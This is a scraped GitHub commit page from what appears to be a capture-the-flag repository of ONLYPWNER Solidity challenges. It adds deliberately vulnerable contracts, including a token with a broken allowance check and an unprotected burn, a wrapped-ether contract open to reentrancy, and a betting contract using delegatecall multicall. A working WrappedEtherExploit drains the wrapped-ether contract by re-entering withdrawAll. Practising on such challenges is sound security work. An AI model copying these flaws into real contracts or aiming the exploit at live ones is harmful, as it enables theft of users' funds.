-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
34 changed files
with
1,196 additions
and
73 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
1 change: 0 additions & 1 deletion
1
contracts/CTF/ONLYPWNER/05.FREEBIE.sol → contracts/CTF/ONLYPWNER/01.FREEBIE.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,5 +1,4 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
interface IVault { | ||
|
1 change: 0 additions & 1 deletion
1
contracts/CTF/ONLYPWNER/01.TUTORIAL.sol → contracts/CTF/ONLYPWNER/02.TUTORIAL.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,5 +1,4 @@ | ||
// SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.0; | ||
|
||
interface ITutorial { | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,68 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
interface IImprovedERC20 { | ||
function transfer(address _to, uint256 _value) external returns (bool); | ||
|
||
function transferFrom(address _from, address _to, uint256 _value) external returns (bool); | ||
function approve(address _spender, uint256 _value) external returns (bool); | ||
function mint(uint256 _value) external; | ||
function burn(address _who, uint256 _value) external; | ||
function owner() external view returns (address); | ||
function balanceOf(address _who) external view returns (uint256); | ||
function allowance(address _owner, address _spender) external view returns (uint256); | ||
function name() external view returns (string memory); | ||
function symbol() external view returns (string memory); | ||
function decimals() external view returns (uint8); | ||
} | ||
|
||
contract ImprovedERC20 is IImprovedERC20 { | ||
mapping(address => uint256) public override balanceOf; | ||
mapping(address => mapping(address => uint256)) public override allowance; | ||
address public override owner; | ||
|
||
string public override name; | ||
string public override symbol; | ||
uint8 public override decimals; | ||
|
||
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) { | ||
name = _name; | ||
symbol = _symbol; | ||
decimals = _decimals; | ||
owner = msg.sender; | ||
balanceOf[msg.sender] = _initialSupply; | ||
} | ||
|
||
function transfer(address _to, uint256 _value) external override returns (bool) { | ||
require(balanceOf[msg.sender] >= _value, "Insufficient balance"); | ||
balanceOf[msg.sender] -= _value; | ||
balanceOf[_to] += _value; | ||
return true; | ||
} | ||
|
||
function transferFrom(address _from, address _to, uint256 _value) external override returns (bool) { | ||
require(balanceOf[_from] >= _value, "Insufficient balance"); | ||
require(allowance[_from][msg.sender] - _value > 0, "Insufficient allowance"); | ||
balanceOf[_from] -= _value; | ||
balanceOf[_to] += _value; | ||
allowance[_from][msg.sender] -= _value; | ||
return true; | ||
} | ||
|
||
function approve(address _spender, uint256 _value) external override returns (bool) { | ||
allowance[msg.sender][_spender] = _value; | ||
return true; | ||
} | ||
|
||
function mint(uint256 _value) external override { | ||
require(msg.sender == owner, "Only owner can mint"); | ||
balanceOf[msg.sender] += _value; | ||
} | ||
|
||
function burn(address _who, uint256 _value) external override { | ||
require(balanceOf[_who] >= _value, "Insufficient balance"); | ||
unchecked { | ||
balanceOf[_who] -= _value; | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
interface IWrappedEther { | ||
event Transfer(address indexed from, address indexed to, uint256 amount); | ||
event Approval(address indexed owner, address indexed spender, uint256 amount); | ||
event Deposit(address indexed from, uint256 amount); | ||
event Withdraw(address indexed to, uint256 amount); | ||
|
||
function deposit(address to) external payable; | ||
function withdraw(uint256 amount) external; | ||
function withdrawAll() external; | ||
function transfer(address to, uint256 amount) external; | ||
function transferFrom(address from, address to, uint256 amount) external; | ||
function approve(address spender, uint256 amount) external; | ||
function balanceOf(address account) external view returns (uint256); | ||
function allowance(address owner, address spender) external view returns (uint256); | ||
} | ||
|
||
contract WrappedEther is IWrappedEther { | ||
mapping(address => uint256) public balanceOf; | ||
mapping(address => mapping(address => uint256)) public allowance; | ||
|
||
function deposit(address to) external payable { | ||
balanceOf[to] += msg.value; | ||
emit Deposit(msg.sender, msg.value); | ||
} | ||
|
||
function withdraw(uint256 amount) external { | ||
require(balanceOf[msg.sender] >= amount, "insufficient balance"); | ||
balanceOf[msg.sender] -= amount; | ||
sendEth(payable(msg.sender), amount); | ||
emit Withdraw(msg.sender, amount); | ||
} | ||
|
||
function withdrawAll() external { | ||
sendEth(payable(msg.sender), balanceOf[msg.sender]); | ||
balanceOf[msg.sender] = 0; | ||
emit Withdraw(msg.sender, balanceOf[msg.sender]); | ||
} | ||
|
||
function transfer(address to, uint256 amount) external { | ||
require(balanceOf[msg.sender] >= amount, "insufficient balance"); | ||
balanceOf[msg.sender] -= amount; | ||
balanceOf[to] += amount; | ||
emit Transfer(msg.sender, to, amount); | ||
} | ||
|
||
function transferFrom(address from, address to, uint256 amount) external { | ||
require(balanceOf[from] >= amount, "insufficient balance"); | ||
require(allowance[from][msg.sender] >= amount, "insufficient allowance"); | ||
balanceOf[from] -= amount; | ||
balanceOf[to] += amount; | ||
allowance[from][msg.sender] -= amount; | ||
emit Transfer(from, to, amount); | ||
} | ||
|
||
function approve(address spender, uint256 amount) external { | ||
allowance[msg.sender][spender] = amount; | ||
emit Approval(msg.sender, spender, amount); | ||
} | ||
|
||
function sendEth(address payable to, uint256 amount) private { | ||
(bool success,) = to.call{ value: amount }(""); | ||
require(success, "failed to send ether"); | ||
} | ||
} | ||
|
||
contract WrappedEtherExploit { | ||
WrappedEther private victimInstance; | ||
uint256 private initialDeposit; | ||
|
||
constructor(address _victim) { | ||
victimInstance = WrappedEther(_victim); | ||
} | ||
|
||
function attack() external payable { | ||
initialDeposit = msg.value; | ||
victimInstance.deposit{ value: initialDeposit }(address(this)); | ||
_withdraw(); | ||
} | ||
|
||
receive() external payable { | ||
_withdraw(); | ||
} | ||
|
||
function _withdraw() private { | ||
uint256 victimBalance = address(victimInstance).balance; | ||
if (victimBalance > 0) { | ||
uint256 toWithdraw = initialDeposit; | ||
if (toWithdraw > victimBalance) { | ||
toWithdraw = victimBalance; | ||
} | ||
if (toWithdraw > 0) { | ||
victimInstance.withdrawAll(); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.0; | ||
|
||
interface IMulticall { | ||
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results); | ||
} | ||
|
||
interface IAllOrNothing { | ||
function declareWinner(address user) external; | ||
function withdrawWinnings() external; | ||
function bet(uint256 number, address recipient) external payable; | ||
function void() external; | ||
function transfer(address to) external; | ||
function publish(uint256 number) external; | ||
function owner() external returns (address); | ||
function bestPlayer() external returns (address); | ||
function winningNumber() external returns (uint256); | ||
function bets(address) external returns (uint256); | ||
function BET_AMOUNT() external returns (uint256); | ||
function DEADLINE() external returns (uint256); | ||
function DECLARE_DEADLINE() external returns (uint256); | ||
} | ||
|
||
contract Multicall is IMulticall { | ||
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results) { | ||
results = new bytes[](data.length); | ||
for (uint256 i = 0; i < data.length; i++) { | ||
results[i] = doDelegateCall(data[i]); | ||
} | ||
return results; | ||
} | ||
|
||
function doDelegateCall(bytes memory data) private returns (bytes memory) { | ||
(bool success, bytes memory res) = address(this).delegatecall(data); | ||
|
||
if (!success) { | ||
revert(string(res)); | ||
} | ||
|
||
return res; | ||
} | ||
} | ||
/// A contract where users can bet on a random number being published. | ||
/// The user who is closest to the number wins all the bets. | ||
|
||
contract AllOrNothing is IAllOrNothing, Multicall { | ||
address public owner; | ||
address public bestPlayer; | ||
uint256 public winningNumber; | ||
mapping(address => uint256) public bets; | ||
|
||
uint256 public immutable BET_AMOUNT; | ||
uint256 public immutable DEADLINE; | ||
uint256 public immutable DECLARE_DEADLINE; | ||
|
||
constructor(uint256 betAmount, uint256 duration) { | ||
owner = msg.sender; | ||
BET_AMOUNT = betAmount; | ||
DEADLINE = block.timestamp + duration; | ||
DECLARE_DEADLINE = DEADLINE + 1 days; | ||
} | ||
|
||
function declareWinner(address user) external { | ||
require(bets[user] != 0, "Must have placed bet"); | ||
require(block.timestamp >= DEADLINE && block.timestamp < DECLARE_DEADLINE, "Deadline not passed"); | ||
require(winningNumber != 0, "Winning number not published"); | ||
|
||
if (bestPlayer == address(0)) { | ||
bestPlayer = user; | ||
return; | ||
} | ||
unchecked { | ||
uint256 distance = bets[user] > winningNumber ? bets[user] - winningNumber : winningNumber - bets[user]; | ||
uint256 bestDistance = | ||
bets[bestPlayer] > winningNumber ? bets[bestPlayer] - winningNumber : winningNumber - bets[bestPlayer]; | ||
if (distance < bestDistance) { | ||
bestPlayer = user; | ||
} | ||
} | ||
} | ||
|
||
function withdrawWinnings() external { | ||
require(msg.sender == bestPlayer, "Must be best player"); | ||
require(block.timestamp >= DECLARE_DEADLINE, "Deadline not passed"); | ||
|
||
payable(msg.sender).transfer(address(this).balance); | ||
} | ||
|
||
function bet(uint256 number, address recipient) external payable { | ||
require(bets[recipient] == 0, "Already placed bet"); | ||
require(msg.value == BET_AMOUNT, "Value too low"); | ||
require(block.timestamp < DEADLINE, "Deadline passed"); | ||
|
||
bets[recipient] = number; | ||
} | ||
|
||
function void() external { | ||
require(bets[msg.sender] != 0, "Must have placed bet"); | ||
require(block.timestamp < DEADLINE, "Deadline passed"); | ||
|
||
bets[msg.sender] = 0; | ||
payable(msg.sender).transfer(BET_AMOUNT); | ||
} | ||
|
||
function transfer(address to) external { | ||
require(bets[msg.sender] != 0, "Must have placed bet"); | ||
require(bets[to] == 0, "Recipient must not have placed bet"); | ||
|
||
bets[to] = bets[msg.sender]; | ||
bets[msg.sender] = 0; | ||
} | ||
|
||
function publish(uint256 number) external { | ||
require(msg.sender == owner, "Must be owner"); | ||
require(block.timestamp >= DEADLINE, "Deadline not passed"); | ||
|
||
winningNumber = number; | ||
} | ||
} |
Oops, something went wrong.